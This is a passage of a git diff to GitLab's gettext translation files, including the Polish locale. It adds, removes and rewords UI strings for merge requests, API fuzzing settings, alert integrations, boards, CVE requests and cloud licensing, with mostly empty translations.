-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/pl_PL/gitlab.po b/locale/pl_PL/gitlab.po
index 5b0922e38f5..d597b46559b 100644
--- a/locale/pl_PL/gitlab.po
+++ b/locale/pl_PL/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: pl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:57\n"
+"PO-Revision-Date: 2021-04-02 00:19\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -140,6 +140,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -255,6 +262,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -510,6 +524,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -522,6 +539,13 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -550,23 +574,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} more"
msgstr ""
@@ -665,7 +675,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1082,6 +1092,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1219,6 +1232,9 @@ msgstr[3] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1313,6 +1329,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1341,6 +1364,20 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1355,6 +1392,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1390,6 +1434,20 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1507,9 +1565,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1519,13 +1574,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1600,9 +1652,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1621,13 +1670,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1639,6 +1700,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1651,16 +1715,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1669,16 +1736,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1711,9 +1778,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1891,6 +1955,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1921,13 +1988,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1973,6 +2033,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -2048,6 +2111,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2075,9 +2141,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -2105,6 +2168,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -2123,6 +2189,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2216,6 +2285,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2243,6 +2315,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2384,9 +2459,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2822,6 +2894,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2871,6 +2949,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3033,6 +3114,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -3048,13 +3135,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -3063,25 +3153,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -3096,24 +3189,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3123,6 +3228,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3132,9 +3240,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3171,7 +3276,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3261,9 +3369,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3327,6 +3432,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3354,6 +3462,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3411,6 +3522,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3534,6 +3648,9 @@ msgstr "Wystąpił błąd podczas pobierania oczekującego komentarza"
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3546,9 +3663,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3639,7 +3753,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3777,9 +3891,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3981,6 +4092,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -4012,6 +4126,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -4021,6 +4138,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -4030,9 +4150,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4172,6 +4289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4232,6 +4355,12 @@ msgstr "Czy na pewno chcesz zatrzymać to środowisko?"
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4274,13 +4403,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4711,6 +4840,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4813,6 +4945,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4831,6 +4966,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4855,7 +4993,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4991,6 +5129,9 @@ msgstr[3] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -5021,6 +5162,13 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5030,9 +5178,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -5051,6 +5196,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -5060,6 +5208,13 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|Board"
msgstr ""
@@ -5072,6 +5227,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -5102,6 +5266,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5408,15 +5575,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5435,6 +5593,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5526,6 +5690,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5622,6 +5807,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5742,6 +5930,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5769,6 +5960,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5778,12 +5972,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6426,6 +6626,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6459,6 +6662,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6492,9 +6737,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6513,12 +6755,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -7068,6 +7319,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
